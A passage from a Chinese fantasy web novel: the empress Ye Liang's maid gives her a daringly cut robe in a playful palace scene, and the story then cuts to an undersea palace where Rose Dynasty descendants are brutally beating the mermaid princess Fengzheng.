护国寺的钟声恰在此时响起，浑厚悠远，一声接着一声，惊起了大雄宝殿檐角上栖息的几只白鸽。白鸽扑棱棱地飞起来，在蓝天中盘旋了一圈，便向着远方飞去了。
夜凉回到了皇宫时，天色已经暗了下来。夕阳的余晖从西边的天际线上漫过来，将整座皇城染成了一片深深浅浅的橘红色。宫墙上的琉璃瓦反射着夕阳的光，像是一片片燃烧的鳞片。太监和宫女们在廊下穿梭忙碌着，点燃一盏又一盏的宫灯，暖黄色的灯光在暮色中次第亮起，像是有人在天幕上撒下了一把星子。
夜凉走进寝殿的时候，黑玉儿正坐在窗下的绣墩上，手中拿着一把银剪子，低头裁剪着一件衣衫。她的身旁堆着好几匹绫罗绸缎，有月白的、水红的、鹅黄的，还有一匹是极难得的烟霞色，在灯光下泛着浅浅的紫色光晕，像是暮春时节的晚霞落在了绸面上。碎布头和剪断的丝线落了一地，空气中弥漫着一股淡淡的熏香味道，那是宫中特制的沉水香，气息清幽而不浓烈。
黑玉儿是夜凉苍狼族灭遗留的贴身侍女，生得一张圆圆的鹅蛋脸，皮肤白净，眉眼弯弯的，笑起来的时候眼睛会眯成两道月牙，让人看了便觉得心里暖洋洋的。
听到脚步声，黑玉儿抬起头来，看见是夜凉回来了，脸上立刻绽开了一个灿烂的笑容。她放下手中的银剪子，站起身来，将那件刚刚裁剪好的衣衫抖开，献宝似的递到夜凉面前。
“陛下！您可算回来了！”她的声音清脆而欢快，像是滚落玉盘的珍珠，“这是玉儿给您新做的衣衫，您瞧瞧这做工，这绣花，掐腰扭腚的，保证把陛下显得窈窕出众！”
夜凉接过那件衣衫，抖开了细看。那是一件改良过的袍子，用的是那匹烟霞色的绸缎，质地轻柔得像是握着一团云。袍子的领口开得比寻常的宫装低了些，袖口收得窄而精巧，腰身处更是缝进了好几道细细的褶子，将腰线收得极紧，而下摆却又放得宽大，走起路来定然是摇曳生姿。衣襟和袖口上绣着银线勾边的缠枝莲花纹，绣工精细得连花瓣上的脉络都清晰可见。
夜凉伸手摸了摸那料子，指尖触到一片如水般的柔滑。她微微点了点头，嘴角不自觉地弯了一下。连日来压在心头的那块巨石似乎被这件漂亮的衣衫撬开了一条缝，透进来一丝轻快的光。
黑玉儿见她喜欢，更加来了精神，忙不迭地将夜凉推到了那面巨大的铜镜前面，三下两下便帮夜凉将身上那件素白的绢衣换了下来，又替她穿上了那件新裁的烟霞色袍子。
铜镜中映出的人影让夜凉微微怔了一下。那件袍子果然如黑玉儿所说，将她的身形勾勒得格外窈窕。腰身处的褶子将她的腰肢收得不盈一握，而下摆宽大的弧度又恰到好处地衬托出了她修长的身量。烟霞色衬得她的肌肤愈发白皙，领口处露出的一截脖颈线条优美而纤细，像是天鹅的颈项。
夜凉正对着镜中的自己微微出神，黑玉儿已经从一旁捧来了一条同样用烟霞色绸缎缝制的裤子，蹲下身便要替她穿。夜凉伸手去接，黑玉儿却摇了摇头，仰起脸来看着她，眼睛里闪烁着一丝促狭的笑意。
“陛下您搞错了！”她的声音里带着忍俊不禁的笑意，“这个袍子是不用穿裤子的！”
夜凉的手僵在了半空中。她低头看了看手中的裤子，又抬头看了看镜中的自己，再低头看了看那件袍子的下摆——确实，那袍子的下摆虽然宽大，但侧面开着一条细细的缝，若是穿上裤子，那裤子便会从缝隙中露出来，反倒破坏了整体的美感。而若是不穿裤子，那袍子走动起来，侧面那条缝隙便会若隐若现地露出腿部的线条。
黑玉儿见她发愣，凑到她耳边，压低声音补了一句，语气里满是得意：“露着大腿，显得多性感啊！奴婢在戏文里看到过，前朝蔷薇王朝的娘娘们都是这么穿的，叫‘烟笼寒水月笼沙’，走起路来跟神仙似的！”
夜凉的脸腾地一下红了。那红色从她的脖颈一直蔓延到耳根，又从耳根蔓延到脸颊，像是一滴朱砂落入了清水中，迅速地洇染开来。她伸手捂住了自己的脸，指缝间透出的皮肤红得几乎要滴出血来。
“朕……”她的声音变得结结巴巴的，全然没有了朝堂之上那个杀伐决断的女帝的威严，倒像是一个被捉弄了的少女，“朕从来没穿过这种衣服，实在是……难为情……”
黑玉儿看着她这副模样，笑得弯下了腰，两只手捂着肚子，眼泪都快笑出来了。她好容易止住了笑，直起身来，伸手替夜凉理了理袍子的衣襟，又将她散落在肩头的几缕碎发拢到耳后，声音里还带着笑意，却多了几分认真：“陛下怕什么呀，这是在您自己的寝宫里，又没有外人。再说了，陛下生得这样好看，不穿得漂漂亮亮的，岂不是辜负了老天爷给的好相貌？”
夜凉从指缝间露出一只眼睛来，瞪了她一眼，但那目光里没有丝毫怒意，反倒有几分无可奈何的纵容。她放下了手，又看了看镜中的自己，脸上的红晕还未完全褪去，但嘴角已经不自觉地微微翘了起来。
窗外，最后一抹夕阳的余晖沉入了地平线，暮色四合。寝殿中的宫灯将暖黄色的光投在那面铜镜上，镜中的人影被那光映得柔和而朦胧，像是笼在一层薄薄的烟霞之中。
千里之外，海国。
海国的天与大夜的天不同。大夜的天空高远而辽阔，云层舒卷自如，阳光从云隙间倾泻而下，照亮山川河流。而海国的天是低垂的，是潮湿的，是永远笼罩着一层灰蓝色雾气的。那雾气从海面上蒸腾而起，与天空中厚重的云层交融在一起，将天与海的界限模糊成了一片混沌的灰蓝。在这里，你分不清哪里是天的尽头，哪里是海的开始，只觉得四面八方都被那无边无际的灰蓝色包裹着，像是一个永远醒不过来的梦。
海底深处矗立着一座巨大的宫殿，那便是鲛人一族的海皇宫。海皇宫通体用珊瑚与水晶筑成，宫殿的墙壁上镶嵌着无数颗夜明珠，将整座宫殿映照得如同白昼。那些夜明珠的光穿透海水，在宫殿周围形成了一圈柔和的光晕，远远望去像是海底沉着一轮明月。宫殿的飞檐上垂挂着千千万万条细细的海藻，随着海流的涌动而轻轻摇曳，像是少女的长发在水中飘散。
而此刻，在海皇宫最深处的一座偏殿之中，正发生着一场惨烈的厮杀。
几十个蔷薇王朝的后裔，那些两百年前从乱葬岗的寺庙中逃入地底暗河的人的后代，此刻正将一个人按在地上拳打脚踢。他们的拳脚落得又狠又密，每一拳每一脚都带着刻骨的仇恨，像是要将两百年来的所有屈辱、所有怨毒、所有亡国之痛，都倾泻在这个人的身上。
被他们围殴的人，是鲛人族的公主，风筝。
风筝倒在冰冷的珊瑚地面上，蜷缩着身体，用双臂护住自己的头脸。她的鱼尾在痛苦中无意识地拍打着地面，银色的鳞片在夜明珠的光照下闪烁着细碎的光芒。她的长发散落了一地，那发丝是一种极淡的银蓝色，在水中漂浮着，像是月光下海面的粼粼波光。鲜血从她的额头、嘴角、手臂上渗出来。